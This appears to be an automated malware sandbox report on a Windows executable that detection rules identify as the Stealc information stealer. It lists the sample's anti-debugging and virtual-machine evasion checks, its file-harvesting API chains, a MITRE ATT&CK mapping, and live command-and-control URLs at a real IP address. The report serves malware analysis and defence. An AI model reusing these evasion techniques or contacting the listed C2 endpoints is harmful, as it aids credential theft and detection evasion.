Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29ABF second address: F29AF1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5408C21112h 0x00000008 jng 00007F5408C21106h 0x0000000e ja 00007F5408C21106h 0x00000014 pushad 0x00000015 jmp 00007F5408C21119h 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29AF1 second address: F29B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007F5408F96890h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5408F96899h 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29B28 second address: F29B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A525 second address: F2A52B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A52B second address: F2A56C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F5408C2110Eh 0x00000012 pushad 0x00000013 jp 00007F5408C21106h 0x00000019 jmp 00007F5408C21117h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 pop eax 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E19D second address: F2E1A7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5408F9688Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DD15 second address: F2DD19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DD19 second address: F2DD37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5408F96886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F5408F96888h 0x00000012 popad 0x00000013 push ecx 0x00000014 jbe 00007F5408F9688Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F364DF second address: F3650E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F5408C2110Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F5408C21111h 0x00000013 jl 00007F5408C21106h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C282 second address: F3C2AC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5408F96886h 0x00000008 jc 00007F5408F96886h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F5408F96894h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C2AC second address: F3C2B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39A28 second address: F39A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39A2C second address: F39A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39A32 second address: F39A46 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5408F9688Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39A46 second address: F39A77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push edi 0x0000000a jmp 00007F5408C2110Ah 0x0000000f pop edi 0x00000010 pushad 0x00000011 jmp 00007F5408C21119h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49DC2 second address: F49DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F5408F9688Ah 0x0000000d jmp 00007F5408F9688Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59C0F second address: F59C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58DCF second address: F58DD4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5908F second address: F590A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C2110Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F5408C21106h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F590A7 second address: F590D3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5408F9688Ah 0x0000000c jnp 00007F5408F96886h 0x00000012 jmp 00007F5408F9688Eh 0x00000017 jp 00007F5408F96886h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F590D3 second address: F590D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F594FD second address: F59509 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnp 00007F5408F96886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5969A second address: F596A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F596A0 second address: F596AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F596AA second address: F596AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F596AE second address: F596B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B2A6 second address: F5B2D0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5408C21112h 0x00000008 push esi 0x00000009 js 00007F5408C21106h 0x0000000f ja 00007F5408C21106h 0x00000015 pop esi 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B2D0 second address: F5B2F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jp 00007F5408F96886h 0x0000000d jmp 00007F5408F96897h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CB03 second address: F5CB07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CB07 second address: F5CB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CB0D second address: F5CB16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F3F4 second address: F5F3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F502 second address: F5F510 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F5408C21106h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F7D5 second address: F5F7DA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F7DA second address: F5F7EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jo 00007F5408C2110Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60DA9 second address: F60DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60DAF second address: F60DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F629B9 second address: F629BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F629BD second address: F629C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F629C3 second address: F629CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F5408F96886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F629CD second address: F629D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F644F2 second address: F6450A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F5408F9688Eh 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C302A2 second address: 4C302A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C302A8 second address: 4C302AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C302AC second address: 4C302CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C2110Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5408C2110Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C302CD second address: 4C302D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C302D1 second address: 4C302D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C302D7 second address: 4C30313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, al 0x00000005 pushfd 0x00000006 jmp 00007F5408F96899h 0x0000000b adc al, FFFFFFC6h 0x0000000e jmp 00007F5408F96891h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30313 second address: 4C3037B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, 58h 0x00000006 popad 0x00000007 call 00007F5408C21114h 0x0000000c pushfd 0x0000000d jmp 00007F5408C21112h 0x00000012 adc esi, 468154C8h 0x00000018 jmp 00007F5408C2110Bh 0x0000001d popfd 0x0000001e pop eax 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F5408C2110Fh 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F5408C21110h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3037B second address: 4C30381 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30381 second address: 4C30387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83819 second address: E83823 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5408F96886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CD17E2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CCF39E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EA2855 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CD16EC instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00A838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A84910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A84910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00A7DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00A7E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00A7ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A84570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00A84570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A83EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00A83EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A7F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A7DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00A7BE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A71160 GetSystemInfo,ExitProcess,

0_2_00A71160

Source: file.exe, file.exe, 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1297365011.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8so%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000002.1297365011.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1297365011.000000000066E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13585
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13598
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13588
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13603
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13639

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A745C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00A745C0

Source: C:\Users\user\Desktop\file.exe

0_2_00A89860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A89750 mov eax, dword ptr fs:[00000030h]

0_2_00A89750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A878E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00A878E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6672, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A89600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00A89600

Source: file.exe, file.exe, 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: BProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00A87B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A87980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00A87980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A87850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00A87850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A87A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00A87A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.a70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1255957657.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1297365011.000000000066E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6672, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.a70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1255957657.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1297365011.000000000066E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6672, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true		unknown
http://185.215.113.37/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.37/t	file.exe, 00000000.00000002.1297365011.00000000006C8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1297365011.000000000066E000.00000004.00000020.00020000.00000000.sdmp	true	unknown
